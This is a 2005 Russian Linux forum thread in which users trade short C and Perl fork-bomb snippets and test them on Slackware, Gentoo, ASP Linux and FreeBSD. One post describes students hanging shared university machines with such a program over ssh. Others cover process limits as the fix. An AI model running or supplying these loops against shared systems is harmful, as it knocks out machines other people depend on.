бесконеное выполнение форка ведет к полному зависанию машины...
только что проверил - пять строчек кода увели к дальним берегам Слакварь 10... говорят тоже саоме с фдорой, мандоейком и дженту...
выдержали БСД и дебиан...
пять строчек кода убили машину.
в квартире нет штопора.
мартовкий холод.
очень грустная новость. (forkbomb вернулась...)
Модератор: Модераторы разделов
-
DW
- Бывший модератор
- Сообщения: 662
- Статус: и это еще не все или ничего.
очень грустная новость.
подумал -> выпил -> подумал -> ... но недавно врачи запретили пить.
-
Jan2ary
- Бывший модератор
- Сообщения: 630
- Статус: Тщедушный очкарик
Re: очень грустная новость.
гм... Так есть вроде ограничения на кол-во процессов...
А ядро какое?
А ядро какое?
Не шалю, никого не трогаю, починяю примус...
-
edoc_modnar
- Бывший модератор
- Сообщения: 1638
- Статус: Форум больше не посещаю
Re: очень грустная новость.
А эксплойт-то локальный или удаленный???
So long, and thanks for all the fish.
Douglas Adams, The Hitchhiker's Guide to the Galaxy
-
aLexx programmer
- Сообщения: 985
- Статус: Турук-Макто
- ОС: Gentoo -> Ubuntu
Re: очень грустная новость.
А вы этого не знали????????????
У нас в универе который год гуляет по терминальным классам программа "зависон":
Рецепт: ssh <какой-то комп в классе>; <путь_к_программе>/zavison, затем закрываем окно зависшего терминала. Всё. Висим.
P.S. Удивительно совпало, но я полчаса назад во время отладки сортирующей сети именно из-за fork'а 3 раза намертво вешал свой gentoo
У нас в универе который год гуляет по терминальным классам программа "зависон":
Код: Выделить всё
while(1){
fork();
malloc(100);
}Рецепт: ssh <какой-то комп в классе>; <путь_к_программе>/zavison, затем закрываем окно зависшего терминала. Всё. Висим.
P.S. Удивительно совпало, но я полчаса назад во время отладки сортирующей сети именно из-за fork'а 3 раза намертво вешал свой gentoo
-
Sparky
- Сообщения: 604
- Статус: core dumped
- ОС: Plan 9
Re: очень грустная новость.
(aLexx programmer @ Воскресенье, 20 Марта 2005, 23:53) писал(а):А вы этого не знали????????????![]()
![]()
![]()
![]()
![]()
![]()
![]()
У нас в универе который год гуляет по терминальным классам программа "зависон":Код: Выделить всё
while(1){ fork(); malloc(100); }
Рецепт: ssh <какой-то комп в классе>; <путь_к_программе>/zavison, затем закрываем окно зависшего терминала. Всё. Висим.
P.S. Удивительно совпало, но я полчаса назад во время отладки сортирующей сети именно из-за fork'а 3 раза намертво вешал свой gentoo
протестировал 2 куска кода :
Код: Выделить всё
#include <stdlib.h>
void main()
{
while(1)
{
malloc(100);
}
}сжирается память с 50 Мб до 235Мб и весь своп - все жутко тормозит но можно отменить команду все же.
Код: Выделить всё
#include <sys/types.h>
#include <unistd.h>
void main()
{
while(1)
{
fork();
}
}сожралась память до 180 Мб и не тронут своп. Систма практически не тормозит.
Приведу вою конфигурацию:
pentium4-2.26Mhz/256Mb/kernel-2.6.11-gentoo-dev-sources-r3/gcc-3.4.x
так что ИМХО нет причин для паники
P.S. кстати проверил код программы зависон
Блог
--------------------
GCS/M/MU/P/IT/E d- s: a- C++(+++) UBL++ P->-- L+++$ E- W+++$ N* o? K? w>--
O M-@ V- PS@ PE+ Y+ PGP+ t 5 X R* tv-->- b++ DI? D>+ G e+(++) h--- r+ y++
--------------------
GCS/M/MU/P/IT/E d- s: a- C++(+++) UBL++ P->-- L+++$ E- W+++$ N* o? K? w>--
O M-@ V- PS@ PE+ Y+ PGP+ t 5 X R* tv-->- b++ DI? D>+ G e+(++) h--- r+ y++
-
DW
- Бывший модератор
- Сообщения: 662
- Статус: и это еще не все или ничего.
Re: очень грустная новость.
#include <pthread.h>
int main(){
while(1)
fork();
return 0;
}
ЛЗУ 512 , П4 2,5 ... но кернел 2.4 - тый... судя по гуглу это и в 2.6 бывает...
а ограниение на процессы, видимо, не срабатывает...
int main(){
while(1)
fork();
return 0;
}
ЛЗУ 512 , П4 2,5 ... но кернел 2.4 - тый... судя по гуглу это и в 2.6 бывает...
а ограниение на процессы, видимо, не срабатывает...
подумал -> выпил -> подумал -> ... но недавно врачи запретили пить.
-
Sparky
- Сообщения: 604
- Статус: core dumped
- ОС: Plan 9
Re: очень грустная новость.
(D.W. @ Понедельник, 21 Марта 2005, 1:22) писал(а):#include <pthread.h>
int main(){
while(1)
fork();
return 0;
}
ЛЗУ 512 , П4 2,5 ... но кернел 2.4 - тый... судя по гуглу это и в 2.6 бывает...
а ограниение на процессы, видимо, не срабатывает...
Вполне возможно - конечно для чистоты эксперемента неплохо было бы собрать vanilla-sources и протестить на нем, но времени нет этим заниматься.
P.S. Щас попробую использовать frok() из pthread.h.
Надо на 2.6 переходить - пора уже :thumbsup:
Проверил - то же самое, память расходуется до 180Мб дальше ничего. :thumbsup:
Блог
--------------------
GCS/M/MU/P/IT/E d- s: a- C++(+++) UBL++ P->-- L+++$ E- W+++$ N* o? K? w>--
O M-@ V- PS@ PE+ Y+ PGP+ t 5 X R* tv-->- b++ DI? D>+ G e+(++) h--- r+ y++
--------------------
GCS/M/MU/P/IT/E d- s: a- C++(+++) UBL++ P->-- L+++$ E- W+++$ N* o? K? w>--
O M-@ V- PS@ PE+ Y+ PGP+ t 5 X R* tv-->- b++ DI? D>+ G e+(++) h--- r+ y++
-
valeri_ufo
- Бывший модератор
- Сообщения: 274
- Статус: Everywhere, yet nowhere
Re: очень грустная новость.
ядро на слаке было 2.6.7 vanilla
-
DW
- Бывший модератор
- Сообщения: 662
- Статус: и это еще не все или ничего.
Re: очень грустная новость.
"не новость"... в том-то и дело, что не новость... но, тем не менее, в самых расхожих дистрах такая ошибка... а новое ялро - вот пущай лучше дистр под него соберет Патрик, тогда и можно переходить, чем потом какую годость отлавливать.
подумал -> выпил -> подумал -> ... но недавно врачи запретили пить.
-
t.t
- Бывший модератор
- Сообщения: 7390
- Статус: думающий о вечном
- ОС: Debian, LMDE
Re: очень грустная новость.
У вас что, ещё 2.6 нету?(D.W. @ Понедельник, 21 Марта 2005, 7:00) писал(а):"не новость"... в том-то и дело, что не новость... но, тем не менее, в самых расхожих дистрах такая ошибка... а новое ялро - вот пущай лучше дистр под него соберет Патрик, тогда и можно переходить, чем потом какую годость отлавливать.
¡иɯʎdʞ ин ʞɐʞ 'ɐнɔɐdʞǝdu qнεиж
-
madskull
- Сообщения: 1019
- Статус: Экс-металлюга
Re: очень грустная новость.
(t.t @ Понедельник, 21 Марта 2005, 10:58) писал(а):У вас что, ещё 2.6 нету?(D.W. @ Понедельник, 21 Марта 2005, 7:00) писал(а):"не новость"... в том-то и дело, что не новость... но, тем не менее, в самых расхожих дистрах такая ошибка... а новое ялро - вот пущай лучше дистр под него соберет Патрик, тогда и можно переходить, чем потом какую годость отлавливать.
... тогда мы идем к вам...
Проверил на asp 10 (других машин, которых не жалко, под рукой не оказалось)
perl -we 'while(1){fork}'
Машина теперь занята только убиванием процессов... хотя и не "висит намертво".
ArchLinux / IceWM
-
polachok
- Бывший модератор
- Сообщения: 2199
- Статус: главный форумный маргинал
- ОС: gnu/linux
Re: очень грустная новость.
#include <stdlib.h>
void main()
{
while(1)
{
malloc(100);
}
}
не сильно тормозит.
#include <sys/types.h>
#include <unistd.h>
void main()
{
while(1)
{
fork();
}
}
тормозило секунд 5 - потом процессы были убраны из running и все стало *почти* нормально. даже музыка в beep'e нормально идет.
создается не более 1847 процессов
#include <pthread.h>
int main(){
while(1)
fork();
return 0;
}
сей вариант аналогичен двум другим - отсюда правило - во FreeBSD надо юзать SCHED_ULE
вот так-то. тестировалось на FreeBSD-5.4-PRERELEASE, SCHED_ULE.
polachok добавил в 21.03.2005 13:40
PIII-866, 256mb RAM, 487 swap
polachok добавил в 21.03.2005 13:41
заглянул на первую консоль - maxproc limit exceeded - see tuning & login.conf =)
И немедленно выпил.